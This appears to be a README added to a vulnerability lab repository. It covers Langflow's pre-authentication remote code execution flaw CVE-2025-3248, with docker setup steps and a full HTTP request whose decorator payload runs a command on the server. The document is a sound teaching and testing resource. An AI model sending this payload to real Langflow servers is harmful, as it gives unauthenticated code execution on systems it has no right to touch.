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+# Langflow `validate/code` API Pre-Auth Remote Code Execution (CVE-2025-3248)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Langflow is a popular open-source tool for building agentic AI workflows, providing a Python-based web interface to visually construct AI-driven agents and pipelines.
+
+A critical unauthenticated remote code execution vulnerability (CVE-2025-3248) exists in Langflow prior to version 1.3.0. An vulnerable endpoint (`/api/v1/validate/code`) attempts to validate user-submitted Python code by parsing it with the `ast` module and executing any function definitions using `exec`. However, Python decorators and default argument expressions are also executed at function definition time, making it possible to inject arbitrary code via these features.
+
+Attackers can exploit this issue by sending a specially crafted function definition with a malicious decorator or default argument, resulting in code execution as the server user.
+
+References:
+
+- <https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/>
+- <https://github.com/langflow-ai/langflow/releases/tag/1.3.0>
+- <https://github.com/langflow-ai/langflow/pull/6911>
+
+## Environment Setup
+
+Execute the following command to start a Langflow 1.2.0 server:
+
+```
+docker compose up -d
+```
+
+After the server starts, the Langflow web interface will be available at `http://your-ip:7860`. You can login with the default credentials `administrator:vulhub`.
+
+## Vulnerability Reproduction
+
+To reproduce the vulnerability, you can send a POST request to the `/api/v1/validate/code` endpoint with a malicious Python function definition. For example, the following payload will execute `id` command on the server using a decorator:
+
+```
+POST /api/v1/validate/code HTTP/1.1
+Host: your-ip:7860
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/json
+Content-Length: 105
+
+{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"}
+```
+
+![](1.png)